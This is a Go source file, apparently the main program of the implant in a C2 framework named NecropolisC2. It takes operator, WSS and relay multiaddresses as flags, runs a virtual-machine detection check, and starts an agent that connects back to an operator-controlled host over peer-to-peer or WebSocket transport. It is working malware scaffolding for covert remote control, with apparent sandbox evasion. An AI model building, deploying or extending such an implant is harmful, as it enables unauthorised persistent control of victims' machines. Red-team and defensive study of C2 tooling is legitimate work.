Files
2026-07-07 04:50:23 +01:00

80 lines
1.6 KiB
Go

package main
import (
"context"
"flag"
"fmt"
"log"
"os"
"os/signal"
"syscall"
"github.com/Yenn503/NecropolisC2/implant/core"
)
func main() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] FATAL PANIC: %v", r)
}
log.Printf("[implant] exited")
}()
peerAddr := flag.String("peer", "", "operator multiaddress (e.g. /ip4/1.2.3.4/tcp/35543/p2p/12D3...)")
wssAddr := flag.String("wss", "", "operator WSS multiaddress (e.g. /dns4/necropolis.example.com/tcp/443/wss/p2p/12D3...)")
var relayAddrs multiFlag
flag.Var(&relayAddrs, "relay", "relay multiaddress (optional, auto-discovers via DHT by default)")
flag.Parse()
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
core.DetectVM()
cfg := core.DefaultAgentConfig()
if *peerAddr != "" {
cfg.OperatorAddr = *peerAddr
}
if *wssAddr != "" {
cfg.WSSAddr = *wssAddr
}
cfg.RelayAddrs = relayAddrs
agent, err := core.NewAgent(ctx, cfg)
if err != nil {
fmt.Fprintf(os.Stderr, "error: %v\n", err)
os.Exit(1)
}
defer agent.Close()
if err := agent.Start(); err != nil {
fmt.Fprintf(os.Stderr, "error: %v\n", err)
os.Exit(1)
}
log.Printf("[implant] running (Ctrl+C to stop)")
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
select {
case <-sigCh:
log.Printf("[implant] received signal, shutting down")
case <-ctx.Done():
log.Printf("[implant] context cancelled, shutting down")
}
}
type multiFlag []string
func (m *multiFlag) String() string {
if len(*m) == 0 {
return ""
}
return (*m)[0]
}
func (m *multiFlag) Set(s string) error {
*m = append(*m, s)
return nil
}